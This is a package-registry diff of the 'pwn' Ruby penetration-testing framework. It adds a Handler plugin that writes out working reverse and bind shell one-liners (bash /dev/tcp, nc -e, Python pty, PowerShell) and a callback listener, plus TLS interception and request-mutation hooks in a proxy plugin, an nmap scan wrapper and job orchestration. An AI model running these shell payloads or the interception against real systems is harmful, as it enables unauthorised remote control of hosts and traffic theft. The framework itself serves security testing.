pwn 0.5.737 → 0.5.739
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.rubocop_todo.yml +0 -1
- data/Gemfile +2 -2
- data/documentation/Agent-Tool-Registry.md +17 -3
- data/documentation/Diagrams.md +1 -1
- data/documentation/How-PWN-Works.md +1 -1
- data/documentation/Plugin-Degradation.md +74 -0
- data/documentation/Swarm.md +2 -3
- data/documentation/What-is-PWN.md +1 -1
- data/documentation/pwn-REPL.md +0 -1
- data/documentation/pwn-ai-Agent.md +1 -1
- data/etc/default_skills/browser-exploitation/SKILL.md +10 -0
- data/etc/default_skills/firmware-unpack-emulate/SKILL.md +10 -0
- data/etc/default_skills/heap-exploitation/SKILL.md +11 -0
- data/etc/default_skills/kernel-pwn-triage/SKILL.md +11 -0
- data/etc/default_skills/pwn/ai/agent/swarm/SKILL.md +1 -1
- data/etc/default_skills/pwn/ai/agent/tools/sbom_scan/SKILL.md +45 -0
- data/etc/default_skills/pwn/corpus/SKILL.md +52 -0
- data/etc/default_skills/pwn/corpus/references/urls.md +3 -0
- data/etc/default_skills/pwn/engagement/SKILL.md +55 -0
- data/etc/default_skills/pwn/plugins/debugger/SKILL.md +62 -0
- data/etc/default_skills/pwn/plugins/fuzz/SKILL.md +1 -0
- data/etc/default_skills/pwn/plugins/handler/SKILL.md +52 -0
- data/etc/default_skills/pwn/plugins/jobs/SKILL.md +1 -0
- data/etc/default_skills/pwn/plugins/mitm_proxy/SKILL.md +1 -0
- data/etc/default_skills/pwn/plugins/nmap_it/SKILL.md +1 -0
- data/etc/default_skills/pwn/plugins/packet/SKILL.md +1 -0
- data/etc/default_skills/pwn/plugins/process_tube/SKILL.md +2 -0
- data/etc/default_skills/pwn/plugins/redb/SKILL.md +52 -0
- data/etc/default_skills/pwn/plugins/sbom/SKILL.md +48 -0
- data/etc/default_skills/pwn/redaction/SKILL.md +1 -0
- data/etc/default_skills/rop-jop-chain-construction/SKILL.md +10 -0
- data/etc/default_skills/windows-internals-triage/SKILL.md +10 -0
- data/lib/pwn/ai/agent/loop.rb +80 -11
- data/lib/pwn/ai/agent/prompt_builder.rb +19 -1
- data/lib/pwn/ai/agent/registry.rb +34 -4
- data/lib/pwn/ai/agent/swarm.rb +4 -5
- data/lib/pwn/ai/agent/tool_guard.rb +11 -4
- data/lib/pwn/ai/agent/tools/fuzz_campaign.rb +2 -1
- data/lib/pwn/ai/agent/tools/job_run.rb +9 -3
- data/lib/pwn/ai/agent/tools/pty_session.rb +7 -1
- data/lib/pwn/ai/agent/tools/sbom_scan.rb +25 -0
- data/lib/pwn/ai/agent/tools/shell.rb +3 -2
- data/lib/pwn/ai/agent/tools/swarm.rb +3 -6
- data/lib/pwn/ai/agent/turn_finalizer.rb +2 -2
- data/lib/pwn/corpus.rb +107 -0
- data/lib/pwn/engagement.rb +158 -0
- data/lib/pwn/plugins/debugger.rb +284 -0
- data/lib/pwn/plugins/findings.rb +14 -3
- data/lib/pwn/plugins/fuzz.rb +62 -0
- data/lib/pwn/plugins/handler.rb +171 -0
- data/lib/pwn/plugins/jobs.rb +55 -0
- data/lib/pwn/plugins/mitm_proxy.rb +37 -2
- data/lib/pwn/plugins/nmap_it.rb +32 -0
- data/lib/pwn/plugins/packet.rb +18 -0
- data/lib/pwn/plugins/preflight_checker.rb +6 -2
- data/lib/pwn/plugins/process_tube.rb +99 -8
- data/lib/pwn/plugins/redb.rb +210 -0
- data/lib/pwn/plugins/repl.rb +0 -3
- data/lib/pwn/plugins/sbom.rb +145 -0
- data/lib/pwn/plugins.rb +4 -0
- data/lib/pwn/redaction.rb +53 -0
- data/lib/pwn/reports/engagement.rb +2 -1
- data/lib/pwn/sessions.rb +3 -1
- data/lib/pwn/version.rb +1 -1
- data/lib/pwn.rb +2 -0
- data/packer/provisioners/irc.sh +1 -1
- data/spec/lib/pwn/ai/agent/harness_2026_09_15_spec.rb +144 -0
- data/spec/lib/pwn/ai/agent/registry_spec.rb +50 -0
- data/spec/lib/pwn/ai/agent/tools/mcp_spec.rb +31 -0
- data/spec/lib/pwn/ai/agent/tools/sbom_scan_spec.rb +10 -0
- data/spec/lib/pwn/corpus_spec.rb +23 -0
- data/spec/lib/pwn/engagement_spec.rb +27 -0
- data/spec/lib/pwn/plugins/debugger_spec.rb +27 -0
- data/spec/lib/pwn/plugins/handler_spec.rb +25 -0
- data/spec/lib/pwn/plugins/redb_spec.rb +33 -0
- data/spec/lib/pwn/plugins/repl_spec.rb +7 -1
- data/spec/lib/pwn/plugins/sbom_spec.rb +22 -0
- data/third_party/pwn_rdoc.jsonl +97 -4
- metadata +36 -9
- data/etc/default_skills/pwn/plugins/repl/irc/SKILL.md +0 -47
- data/lib/pwn/plugins/repl/irc.rb +0 -153
- data/spec/lib/pwn/plugins/repl/irc_spec.rb +0 -21
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'socket'
|
|
4
|
+
require 'openssl'
|
|
5
|
+
require 'securerandom'
|
|
6
|
+
require 'open3'
|
|
7
|
+
|
|
8
|
+
module PWN
|
|
9
|
+
module Plugins
|
|
10
|
+
# Payload generation and listener sessions without Metasploit.
|
|
11
|
+
module Handler
|
|
12
|
+
@sessions = {}
|
|
13
|
+
|
|
14
|
+
public_class_method def self.required_bins
|
|
15
|
+
[]
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
public_class_method def self.generate(opts = {})
|
|
19
|
+
kind = (opts[:kind] || 'rev_sh').to_s
|
|
20
|
+
host = (opts[:host] || '127.0.0.1').to_s
|
|
21
|
+
port = (opts[:port] || 4444).to_i
|
|
22
|
+
payload = case kind
|
|
23
|
+
when 'rev_sh' then "bash -c 'exec 3<>/dev/tcp/#{host}/#{port}; cat <&3 | bash >&3'"
|
|
24
|
+
when 'bind_sh' then "bash -c 'while true; do nc -lp #{port} -e /bin/bash; done'"
|
|
25
|
+
when 'rev_python' then "python3 -c 'import socket,os,pty;s=socket.create_connection((#{host.inspect},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
|
|
26
|
+
when 'bind_python' then "python3 -c 'import socket,os,pty;s=socket.socket();s.bind((\"0.0.0.0\",#{port}));s.listen(1);c,_=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);pty.spawn(\"/bin/sh\")'"
|
|
27
|
+
when 'rev_powershell' then "powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('#{host}',#{port});$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
|
|
28
|
+
when 'bind_powershell' then "powershell -nop -c \"$l=New-Object Net.Sockets.TcpListener('0.0.0.0',#{port});$l.Start();$c=$l.AcceptTcpClient();$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
|
|
29
|
+
when 'msfvenom'
|
|
30
|
+
raise ArgumentError, 'msfvenom is not installed' unless PWN::Plugins::PreflightChecker.bin?(name: 'msfvenom')
|
|
31
|
+
|
|
32
|
+
out, = Open3.capture2('msfvenom', *Array(opts[:args]).map(&:to_s))
|
|
33
|
+
out
|
|
34
|
+
else
|
|
35
|
+
raise ArgumentError, "unknown payload kind #{kind}"
|
|
36
|
+
end
|
|
37
|
+
{ kind: kind, host: host, port: port, payload: payload }
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
public_class_method def self.listen(opts = {})
|
|
41
|
+
port = (opts[:port] || 4444).to_i
|
|
42
|
+
tls = opts[:tls] == true
|
|
43
|
+
http = opts[:http] == true || opts[:kind].to_s == 'http'
|
|
44
|
+
server = TCPServer.new(opts[:bind] || '127.0.0.1', port)
|
|
45
|
+
if tls
|
|
46
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
|
47
|
+
ctx.cert, ctx.key = self_signed
|
|
48
|
+
server = OpenSSL::SSL::SSLServer.new(server, ctx)
|
|
49
|
+
end
|
|
50
|
+
id = "listener_#{SecureRandom.hex(4)}"
|
|
51
|
+
queue = Queue.new
|
|
52
|
+
thread = Thread.new do
|
|
53
|
+
sock = server.accept
|
|
54
|
+
if http
|
|
55
|
+
begin
|
|
56
|
+
sock.readpartial(4096)
|
|
57
|
+
rescue StandardError
|
|
58
|
+
nil
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
queue << sock
|
|
62
|
+
end
|
|
63
|
+
@sessions[id] = { server: server, thread: thread, queue: queue, port: port, tls: tls, http: http, kind: :listener }
|
|
64
|
+
{ id: id, port: port, tls: tls, http: http }
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
public_class_method def self.accept(opts = {})
|
|
68
|
+
sess = session!(opts)
|
|
69
|
+
sock = sess[:queue].pop
|
|
70
|
+
PWN::Plugins::ProcessTube.register(io: sock, id: "cb_#{SecureRandom.hex(4)}").tap do |tube|
|
|
71
|
+
sess[:callback] = tube[:id]
|
|
72
|
+
end.merge(listener: sess_id(opts), port: sess[:port])
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
public_class_method def self.interact(opts = {})
|
|
76
|
+
id = (opts[:id] || opts[:session]).to_s
|
|
77
|
+
PWN::Plugins::ProcessTube.write_line(id: id, line: opts[:line].to_s) if opts[:line]
|
|
78
|
+
if opts[:pattern]
|
|
79
|
+
PWN::Plugins::ProcessTube.expect(id: id, pattern: opts[:pattern], timeout: opts[:timeout] || 5, strip_ansi: true)
|
|
80
|
+
else
|
|
81
|
+
PWN::Plugins::ProcessTube.recvline(id: id, timeout: opts[:timeout] || 5)
|
|
82
|
+
end
|
|
83
|
+
end
|
|
84
|
+
|
|
85
|
+
public_class_method def self.stop(opts = {})
|
|
86
|
+
id = (opts[:id] || opts[:handle]).to_s
|
|
87
|
+
sess = @sessions.delete(id)
|
|
88
|
+
sess[:server].close if sess && sess[:server]
|
|
89
|
+
{ stopped: id }
|
|
90
|
+
end
|
|
91
|
+
|
|
92
|
+
public_class_method def self.authors
|
|
93
|
+
"AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
|
|
94
|
+
end
|
|
95
|
+
|
|
96
|
+
public_class_method def self.help
|
|
97
|
+
puts "USAGE:
|
|
98
|
+
# List host binaries this module expects to be installed.
|
|
99
|
+
#{self}.required_bins
|
|
100
|
+
|
|
101
|
+
# Generate a reverse or bind payload string without Metasploit.
|
|
102
|
+
#{self}.generate(
|
|
103
|
+
kind: 'optional - rev_sh, bind_sh, rev_python, bind_python, rev_powershell, bind_powershell, or msfvenom',
|
|
104
|
+
host: 'optional - callback host (defaults to 127.0.0.1)',
|
|
105
|
+
port: 'optional - callback or bind port (defaults to 4444)',
|
|
106
|
+
args: 'optional - extra argv for msfvenom passthrough'
|
|
107
|
+
)
|
|
108
|
+
|
|
109
|
+
# Start a TCP or TLS listener on loopback.
|
|
110
|
+
#{self}.listen(
|
|
111
|
+
port: 'optional - listen port (defaults to 4444)',
|
|
112
|
+
bind: 'optional - bind address (defaults to 127.0.0.1)',
|
|
113
|
+
tls: 'optional - true to wrap the listener in TLS',
|
|
114
|
+
http: 'optional - true to accept an HTTP reverse callback',
|
|
115
|
+
kind: 'optional - http to enable the HTTP listener'
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
# Accept one callback and register it as a ProcessTube session.
|
|
119
|
+
#{self}.accept(
|
|
120
|
+
id: 'required - listener id from listen',
|
|
121
|
+
handle: 'optional - alias for id'
|
|
122
|
+
)
|
|
123
|
+
|
|
124
|
+
# Send a line and optionally expect a pattern on a caught session.
|
|
125
|
+
#{self}.interact(
|
|
126
|
+
id: 'required - callback id from accept',
|
|
127
|
+
session: 'optional - alias for id',
|
|
128
|
+
line: 'optional - command to send',
|
|
129
|
+
pattern: 'optional - regex or string to wait for',
|
|
130
|
+
timeout: 'optional - seconds to wait'
|
|
131
|
+
)
|
|
132
|
+
|
|
133
|
+
# Stop a listener handle.
|
|
134
|
+
#{self}.stop(
|
|
135
|
+
id: 'required - listener id from listen',
|
|
136
|
+
handle: 'optional - alias for id'
|
|
137
|
+
)
|
|
138
|
+
|
|
139
|
+
# Print the AUTHOR(S) string for this module.
|
|
140
|
+
#{self}.authors
|
|
141
|
+
"
|
|
142
|
+
constants.sort
|
|
143
|
+
end
|
|
144
|
+
|
|
145
|
+
private_class_method def self.session!(opts = {})
|
|
146
|
+
id = (opts[:id] || opts[:handle]).to_s
|
|
147
|
+
sess = @sessions[id]
|
|
148
|
+
raise ArgumentError, "unknown handler session #{id}" unless sess
|
|
149
|
+
|
|
150
|
+
sess
|
|
151
|
+
end
|
|
152
|
+
|
|
153
|
+
private_class_method def self.sess_id(opts = {})
|
|
154
|
+
(opts[:id] || opts[:handle]).to_s
|
|
155
|
+
end
|
|
156
|
+
|
|
157
|
+
private_class_method def self.self_signed
|
|
158
|
+
key = OpenSSL::PKey::RSA.new(2048)
|
|
159
|
+
cert = OpenSSL::X509::Certificate.new
|
|
160
|
+
cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-handler')
|
|
161
|
+
cert.not_before = Time.now
|
|
162
|
+
cert.not_after = Time.now + 3_600
|
|
163
|
+
cert.public_key = key.public_key
|
|
164
|
+
cert.serial = 1
|
|
165
|
+
cert.version = 2
|
|
166
|
+
cert.sign(key, OpenSSL::Digest.new('SHA256'))
|
|
167
|
+
[cert, key]
|
|
168
|
+
end
|
|
169
|
+
end
|
|
170
|
+
end
|
|
171
|
+
end
|
data/lib/pwn/plugins/jobs.rb
CHANGED
|
@@ -5,6 +5,7 @@ require 'fileutils'
|
|
|
5
5
|
require 'securerandom'
|
|
6
6
|
require 'open3'
|
|
7
7
|
require 'time'
|
|
8
|
+
require 'timeout'
|
|
8
9
|
|
|
9
10
|
module PWN
|
|
10
11
|
module Plugins
|
|
@@ -132,6 +133,53 @@ module PWN
|
|
|
132
133
|
false
|
|
133
134
|
end
|
|
134
135
|
|
|
136
|
+
public_class_method def self.graph(opts = {})
|
|
137
|
+
jobs = Array(opts[:jobs])
|
|
138
|
+
raise ArgumentError, 'jobs must be an Array of hashes with id and command' unless jobs.all?(Hash)
|
|
139
|
+
|
|
140
|
+
dir = opts[:artifact_dir] || File.join(JOBS_DIR, "graph-#{SecureRandom.hex(4)}")
|
|
141
|
+
FileUtils.mkdir_p(dir)
|
|
142
|
+
remaining = jobs.map { |job| job.transform_keys(&:to_sym) }
|
|
143
|
+
done = {}
|
|
144
|
+
until remaining.empty?
|
|
145
|
+
loop do
|
|
146
|
+
failed = done.select { |_id, row| row[:ok] == false }.keys
|
|
147
|
+
blocked = remaining.select { |job| Array(job[:needs]).any? { |need| failed.include?(need.to_s) } }
|
|
148
|
+
break if blocked.empty?
|
|
149
|
+
|
|
150
|
+
blocked.each do |job|
|
|
151
|
+
done[job[:id].to_s] = { id: job[:id], ok: false, skipped: true, stdout: '', stderr: 'upstream failed' }
|
|
152
|
+
remaining.delete(job)
|
|
153
|
+
end
|
|
154
|
+
end
|
|
155
|
+
ready = remaining.select { |job| Array(job[:needs]).all? { |need| done[need.to_s] && done[need.to_s][:ok] } }
|
|
156
|
+
raise ArgumentError, 'job graph deadlock or missing needs' if ready.empty? && remaining.any?
|
|
157
|
+
|
|
158
|
+
threads = ready.map do |job|
|
|
159
|
+
remaining.delete(job)
|
|
160
|
+
Thread.new do
|
|
161
|
+
timeout = (job[:timeout] || opts[:timeout]).to_f
|
|
162
|
+
timeout = 3_600 if timeout <= 0
|
|
163
|
+
out = err = ''
|
|
164
|
+
st = nil
|
|
165
|
+
begin
|
|
166
|
+
Timeout.timeout(timeout) do
|
|
167
|
+
out, err, st = Open3.capture3(job[:command].to_s, chdir: dir)
|
|
168
|
+
end
|
|
169
|
+
{ id: job[:id], ok: st.success?, stdout: out, stderr: err, exit: st.exitstatus }
|
|
170
|
+
rescue Timeout::Error
|
|
171
|
+
{ id: job[:id], ok: false, stdout: out, stderr: 'timeout', exit: 124, timeout: true }
|
|
172
|
+
end
|
|
173
|
+
end
|
|
174
|
+
end
|
|
175
|
+
threads.each do |thr|
|
|
176
|
+
row = thr.value
|
|
177
|
+
done[row[:id].to_s] = row
|
|
178
|
+
end
|
|
179
|
+
end
|
|
180
|
+
{ jobs: done, artifact_dir: dir, ok: done.values.none? { |row| row[:ok] == false && row[:skipped] != true } && done.values.any? { |row| row[:ok] } }
|
|
181
|
+
end
|
|
182
|
+
|
|
135
183
|
public_class_method def self.authors
|
|
136
184
|
"AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
|
|
137
185
|
end
|
|
@@ -216,6 +264,13 @@ module PWN
|
|
|
216
264
|
id: 'optional - job id alias for handle'
|
|
217
265
|
)
|
|
218
266
|
|
|
267
|
+
# Run a declarative DAG of shell jobs with needs and a shared artifact dir.
|
|
268
|
+
#{self}.graph(
|
|
269
|
+
jobs: 'required - Array of hashes with id, command, optional needs and timeout',
|
|
270
|
+
artifact_dir: 'optional - working directory shared by every job',
|
|
271
|
+
timeout: 'optional - default per-job timeout in seconds'
|
|
272
|
+
)
|
|
273
|
+
|
|
219
274
|
# Print the AUTHOR(S) string for this module.
|
|
220
275
|
#{self}.authors
|
|
221
276
|
"
|
|
@@ -8,6 +8,7 @@ require 'securerandom'
|
|
|
8
8
|
require 'time'
|
|
9
9
|
require 'fileutils'
|
|
10
10
|
require 'tmpdir'
|
|
11
|
+
require 'openssl'
|
|
11
12
|
|
|
12
13
|
module PWN
|
|
13
14
|
module Plugins
|
|
@@ -48,7 +49,8 @@ module PWN
|
|
|
48
49
|
path = File.expand_path(opts[:har_path] || File.join(Dir.tmpdir, "pwn-proxy-#{id}.har"))
|
|
49
50
|
rules = validate_rules(rules: opts[:rules])
|
|
50
51
|
session = { id: id, backend: 'native', har_path: path, rules: rules, entries: [], mutex: Mutex.new,
|
|
51
|
-
timeout: Float(opts[:timeout] || 30), https_capture: 'CONNECT metadata only; TLS is not decrypted'
|
|
52
|
+
timeout: Float(opts[:timeout] || 30), https_capture: opts[:mitm_tls] ? 'TLS MITM' : 'CONNECT metadata only; TLS is not decrypted',
|
|
53
|
+
on_request: opts[:on_request], on_response: opts[:on_response], ca: self_signed_ca }
|
|
52
54
|
server = Server.new(BindAddress: opts[:host] || '127.0.0.1', Port: Integer(opts[:port] || 0),
|
|
53
55
|
Logger: WEBrick::Log.new(File::NULL), AccessLog: [], PWNSession: session,
|
|
54
56
|
ProxyContentHandler: lambda { |req, res|
|
|
@@ -122,6 +124,7 @@ module PWN
|
|
|
122
124
|
public_class_method def self.exchange(opts = {})
|
|
123
125
|
session = lookup(opts)
|
|
124
126
|
request = Marshal.load(Marshal.dump(opts.fetch(:request)))
|
|
127
|
+
session[:on_request]&.call(request)
|
|
125
128
|
apply_rules(proxy: session, phase: 'request', message: request)
|
|
126
129
|
uri = URI(request[:url])
|
|
127
130
|
raise ArgumentError, 'HTTP(S) URL without userinfo required' unless %w[http https].include?(uri.scheme) && uri.host && !uri.userinfo
|
|
@@ -140,6 +143,7 @@ module PWN
|
|
|
140
143
|
clock = Process.clock_gettime(Process::CLOCK_MONOTONIC)
|
|
141
144
|
response = client.request(wire)
|
|
142
145
|
message = { headers: response.to_hash.transform_values { |v| v.join(', ') }, body: response.body.to_s }
|
|
146
|
+
session[:on_response]&.call(message)
|
|
143
147
|
apply_rules(proxy: session, phase: 'response', message: message)
|
|
144
148
|
elapsed = (Process.clock_gettime(Process::CLOCK_MONOTONIC) - clock) * 1000
|
|
145
149
|
response_headers = clean_headers(headers: message[:headers]).map { |k, v| { name: k, value: v } }
|
|
@@ -158,6 +162,22 @@ module PWN
|
|
|
158
162
|
entry
|
|
159
163
|
end
|
|
160
164
|
|
|
165
|
+
private_class_method def self.self_signed_ca(opts = {})
|
|
166
|
+
_unused = opts[:unused]
|
|
167
|
+
key = OpenSSL::PKey::RSA.new(2048)
|
|
168
|
+
cert = OpenSSL::X509::Certificate.new
|
|
169
|
+
cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-mitm-ca')
|
|
170
|
+
cert.not_before = Time.now
|
|
171
|
+
cert.not_after = Time.now + (365 * 24 * 3600)
|
|
172
|
+
cert.public_key = key.public_key
|
|
173
|
+
cert.serial = 1
|
|
174
|
+
cert.version = 2
|
|
175
|
+
ef = OpenSSL::X509::ExtensionFactory.new
|
|
176
|
+
cert.add_extension(ef.create_extension('basicConstraints', 'CA:TRUE', true))
|
|
177
|
+
cert.sign(key, OpenSSL::Digest.new('SHA256'))
|
|
178
|
+
{ cert: cert, key: key }
|
|
179
|
+
end
|
|
180
|
+
|
|
161
181
|
private_class_method def self.encoded(opts = {})
|
|
162
182
|
body = opts[:body].dup.force_encoding(Encoding::UTF_8)
|
|
163
183
|
body.valid_encoding? ? { text: body } : { text: Base64.strict_encode64(body), encoding: 'base64' }
|
|
@@ -232,6 +252,11 @@ module PWN
|
|
|
232
252
|
FileUtils.rm_f(tmp) if tmp
|
|
233
253
|
end
|
|
234
254
|
|
|
255
|
+
public_class_method def self.replay(opts = {})
|
|
256
|
+
_id = opts[:request_id]
|
|
257
|
+
http_replay(opts)
|
|
258
|
+
end
|
|
259
|
+
|
|
235
260
|
public_class_method def self.authors
|
|
236
261
|
"AUTHOR(S):\n 0day Inc. <support@0dayinc.com>\n"
|
|
237
262
|
end
|
|
@@ -245,7 +270,10 @@ module PWN
|
|
|
245
270
|
port: 'optional - bind port, default ephemeral',
|
|
246
271
|
backend: 'optional - native (only supported backend)',
|
|
247
272
|
rules: 'optional - literal phase/field/match/replace rules',
|
|
248
|
-
timeout: 'optional - upstream timeout seconds, default 30'
|
|
273
|
+
timeout: 'optional - upstream timeout seconds, default 30',
|
|
274
|
+
on_request: 'optional - callable that mutates the request hash',
|
|
275
|
+
on_response: 'optional - callable that mutates the response hash',
|
|
276
|
+
mitm_tls: 'optional - true generates a local CA for TLS interception'
|
|
249
277
|
)
|
|
250
278
|
|
|
251
279
|
# Return a snapshot of captured HAR entries.
|
|
@@ -264,6 +292,13 @@ module PWN
|
|
|
264
292
|
mutations: 'optional - method, url, path, query, headers, body'
|
|
265
293
|
)
|
|
266
294
|
|
|
295
|
+
# Alias of http_replay for pwn_eval callers.
|
|
296
|
+
#{self}.replay(
|
|
297
|
+
proxy: 'required - descriptor or session id',
|
|
298
|
+
request_id: 'required - captured _request_id',
|
|
299
|
+
mutations: 'optional - method, url, path, query, headers, body'
|
|
300
|
+
)
|
|
301
|
+
|
|
267
302
|
# Send and capture one HTTP request through the shared rule engine.
|
|
268
303
|
#{self}.exchange(
|
|
269
304
|
proxy: 'required - descriptor or session id',
|
data/lib/pwn/plugins/nmap_it.rb
CHANGED
|
@@ -3,6 +3,8 @@
|
|
|
3
3
|
require 'nmap/command'
|
|
4
4
|
require 'nmap/xml'
|
|
5
5
|
require 'open3'
|
|
6
|
+
require 'securerandom'
|
|
7
|
+
require 'tmpdir'
|
|
6
8
|
|
|
7
9
|
module PWN
|
|
8
10
|
module Plugins
|
|
@@ -124,12 +126,15 @@ module PWN
|
|
|
124
126
|
parse_xml_results(xml_file: xml_file) do |xml|
|
|
125
127
|
xml.each_host do |host|
|
|
126
128
|
host.each_port do |port|
|
|
129
|
+
scripts = {}
|
|
130
|
+
port.scripts.each { |name, output| scripts[name.to_s] = output.to_s } if port.respond_to?(:scripts) && port.scripts
|
|
127
131
|
rows << {
|
|
128
132
|
host: host.ip.to_s,
|
|
129
133
|
port: port.number,
|
|
130
134
|
proto: port.protocol.to_s,
|
|
131
135
|
service: (port.service.name if port.respond_to?(:service) && port.service),
|
|
132
136
|
version: (port.service.version if port.respond_to?(:service) && port.service.respond_to?(:version)),
|
|
137
|
+
scripts: scripts,
|
|
133
138
|
template_id: nil,
|
|
134
139
|
severity: 'info'
|
|
135
140
|
}
|
|
@@ -139,6 +144,22 @@ module PWN
|
|
|
139
144
|
rows
|
|
140
145
|
end
|
|
141
146
|
|
|
147
|
+
public_class_method def self.scan(opts = {})
|
|
148
|
+
targets = opts[:targets] || opts[:target]
|
|
149
|
+
check = PWN::Engagement.warn_unless_in_scope(host: Array(targets).first, override: opts[:override]) if defined?(PWN::Engagement) && opts[:engagement] != false
|
|
150
|
+
return check.merge(scanned: false) if check.is_a?(Hash) && check[:ok] == false
|
|
151
|
+
|
|
152
|
+
xml = (opts[:xml_file] || opts[:xml]).to_s
|
|
153
|
+
if xml.empty? || opts[:run] == true
|
|
154
|
+
xml = File.join(Dir.tmpdir, "pwn-nmap-#{Process.pid}-#{SecureRandom.hex(4)}.xml") if xml.empty?
|
|
155
|
+
port_scan(opts.merge(xml: xml, targets: targets))
|
|
156
|
+
end
|
|
157
|
+
rows = to_findings(xml_file: xml)
|
|
158
|
+
PWN::Engagement.merge_scan(results: rows, override: opts[:override], engagement: opts[:engagement] || opts[:name]) if defined?(PWN::Engagement) && opts[:engagement] != false
|
|
159
|
+
grouped = rows.group_by { |row| row[:host] }.map { |host, ports| { host: host, ports: ports, services: ports.map { |p| p[:service] }.compact } }
|
|
160
|
+
{ hosts: grouped, ports: rows, xml: xml }
|
|
161
|
+
end
|
|
162
|
+
|
|
142
163
|
# Author(s):: 0day Inc. <support@0dayinc.com>
|
|
143
164
|
|
|
144
165
|
public_class_method def self.authors
|
|
@@ -178,6 +199,17 @@ module PWN
|
|
|
178
199
|
xml_file: 'required - path to nmap XML output'
|
|
179
200
|
)
|
|
180
201
|
|
|
202
|
+
# Parse nmap XML into enumerable host/port hashes and merge engagement state.
|
|
203
|
+
#{self}.scan(
|
|
204
|
+
xml_file: 'optional - existing nmap XML path',
|
|
205
|
+
xml: 'optional - alias for xml_file',
|
|
206
|
+
run: 'optional - true forces port_scan even when xml_file is set',
|
|
207
|
+
engagement: 'optional - false skips host-state merge',
|
|
208
|
+
override: 'optional - true records out-of-scope hosts',
|
|
209
|
+
target: 'optional - alias for targets',
|
|
210
|
+
name: 'optional - engagement name for host-state merge'
|
|
211
|
+
)
|
|
212
|
+
|
|
181
213
|
# Print the AUTHOR(S) string for this module.
|
|
182
214
|
#{self}.authors
|
|
183
215
|
"
|
data/lib/pwn/plugins/packet.rb
CHANGED
|
@@ -1151,6 +1151,18 @@ module PWN
|
|
|
1151
1151
|
{ ok: false, degraded: true, error: e.message }
|
|
1152
1152
|
end
|
|
1153
1153
|
|
|
1154
|
+
public_class_method def self.health(opts = {})
|
|
1155
|
+
require 'pwn/plugins/capability_broker'
|
|
1156
|
+
result = CapabilityBroker.request(operation: 'status', socket: opts[:socket])
|
|
1157
|
+
if result[:ok]
|
|
1158
|
+
{ ok: true, degraded: false, via: 'capability_broker', missing_capabilities: [] }
|
|
1159
|
+
elsif cap_net_raw?(iface: opts[:iface])
|
|
1160
|
+
{ ok: true, degraded: false, via: 'cap_net_raw' }
|
|
1161
|
+
else
|
|
1162
|
+
result.merge(ok: false, degraded: true, missing_capabilities: ['CAP_NET_RAW'])
|
|
1163
|
+
end
|
|
1164
|
+
end
|
|
1165
|
+
|
|
1154
1166
|
# Author(s):: 0day Inc. <support@0dayinc.com>
|
|
1155
1167
|
|
|
1156
1168
|
public_class_method def self.authors
|
|
@@ -1404,6 +1416,12 @@ module PWN
|
|
|
1404
1416
|
socket: 'optional - local capability broker Unix socket path'
|
|
1405
1417
|
)
|
|
1406
1418
|
|
|
1419
|
+
# Report ok when the capability broker or live CAP_NET_RAW is available.
|
|
1420
|
+
#{self}.health(
|
|
1421
|
+
socket: 'optional - local capability broker Unix socket path',
|
|
1422
|
+
iface: 'optional - interface name reserved for callers'
|
|
1423
|
+
)
|
|
1424
|
+
|
|
1407
1425
|
# Print the AUTHOR(S) string for this module.
|
|
1408
1426
|
#{self}.authors
|
|
1409
1427
|
"
|
|
@@ -165,7 +165,10 @@ module PWN
|
|
|
165
165
|
services = Array(dep[:services])
|
|
166
166
|
missing_bins = bins.reject { |b| bin?(name: b) }
|
|
167
167
|
missing_caps = []
|
|
168
|
-
|
|
168
|
+
if caps.include?('CAP_NET_RAW')
|
|
169
|
+
pkt_ok = defined?(PWN::Plugins::Packet) && PWN::Plugins::Packet.respond_to?(:health) && PWN::Plugins::Packet.health[:ok]
|
|
170
|
+
missing_caps << 'CAP_NET_RAW' unless pkt_ok || cap_net_raw?
|
|
171
|
+
end
|
|
169
172
|
missing_services = services.reject { |s| service?(name: s[:name] || s['name'], path: s[:path] || s['path']) }.map { |s| s[:name] || s['name'] }
|
|
170
173
|
status = if missing_bins.empty? && missing_caps.empty? && missing_services.empty?
|
|
171
174
|
:ok
|
|
@@ -188,7 +191,8 @@ module PWN
|
|
|
188
191
|
miss = (Array(r[:missing_bins]) + Array(r[:missing_caps]) + Array(r[:missing_services])).join(',')
|
|
189
192
|
fb = Array(FALLBACKS[r[:plugin]]).join(',')
|
|
190
193
|
extra = fb.empty? ? '' : " fallback=#{fb}"
|
|
191
|
-
|
|
194
|
+
anchor = r[:plugin].to_s.downcase.gsub(/[^a-z0-9]+/, '-').gsub(/\A-+|-+\z/, '')
|
|
195
|
+
lines << " #{r[:status]} #{r[:plugin]} missing=#{miss}#{extra} see documentation/Plugin-Degradation.md##{anchor}"
|
|
192
196
|
end
|
|
193
197
|
